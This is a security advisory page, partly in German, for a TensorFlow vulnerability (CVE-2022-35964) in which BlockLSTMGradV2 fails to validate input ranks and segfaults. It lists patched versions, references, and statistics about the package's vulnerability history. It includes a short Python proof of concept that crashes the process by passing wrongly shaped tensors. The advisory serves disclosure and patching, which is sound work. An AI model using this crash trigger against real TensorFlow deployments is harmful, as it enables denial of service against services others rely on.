TensorFlow vulnerable to segfault in `BlockLSTMGradV2`
Impact
The implementation of BlockLSTMGradV2 does not fully validate its inputs.
wci,wcf,wco,bmust be rank 1w, cs_prev,h_prev` must be rank 2xmust be rank 3 This results in a a segfault that can be used to trigger a denial of service attack.
import tensorflow as tf
use_peephole = False
seq_len_max = tf.constant(1, shape=[], dtype=tf.int64)
x = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
w = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wcf = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wco = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
b = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
i = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
f = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
o = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
ci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
co = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
tf.raw_ops.BlockLSTMGradV2(seq_len_max=seq_len_max, x=x, cs_prev=cs_prev, h_prev=h_prev, w=w, wci=wci, wcf=wcf, wco=wco, b=b, i=i, cs=cs, f=f, o=o, ci=ci, co=co, h=h, cs_grad=cs_grad, h_grad=h_grad, use_peephole=use_peephole)
Patches
We have patched the issue in GitHub commit 2a458fc4866505be27c62f81474ecb2b870498fa.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
Betroffene Software
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| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
| Python (PyPI) | tensorflow-cpu | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
| Python (PyPI) | tensorflow-gpu | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
Verweise
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-f7r5-q7cx-h668
- https://nvd.nist.gov/vuln/detail/CVE-2022-35964
- https://github.com/tensorflow/tensorflow/commit/2a458fc4866505be27c62f81474ecb2b870498fa
- https://github.com/tensorflow/tensorflow
- https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0
- https://pypi.org/project/tensorflow
- https://github.com/advisories/GHSA-f7r5-q7cx-h668
- https://pypi.org/project/tensorflow-cpu
- https://pypi.org/project/tensorflow-gpu
- CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H- Schwäche (CWE)
CWE-20- Plattform
- Python (PyPI)
- Paket
tensorflow, tensorflow-cpu, tensorflow-gpu- Veröffentlicht
- 16.09.2022
- Aktualisiert
- 11.10.2026 14:17
Quellen und Lizenzen
OSV / GitHub Advisory Database - PYSEC-2026-3170 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3318 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-f7r5-q7cx-h668 - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-988 - PyPA Advisory Database; CC BY 4.0
Schwachstellenhistorie: tensorflow-gpu
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 427
- Erste → letzte
- 04.2019 07.2024
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 6
- Hoch 109
- Mittel 207
- Niedrig 105
Veröffentlichungen pro Jahr
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 166
- 2023: 18
- 2024: 1
- 2025: 0
- 2026: 0
-
TensorFlow vulnerable to segfault in `BlockLSTMGradV2` dieser Eintrag
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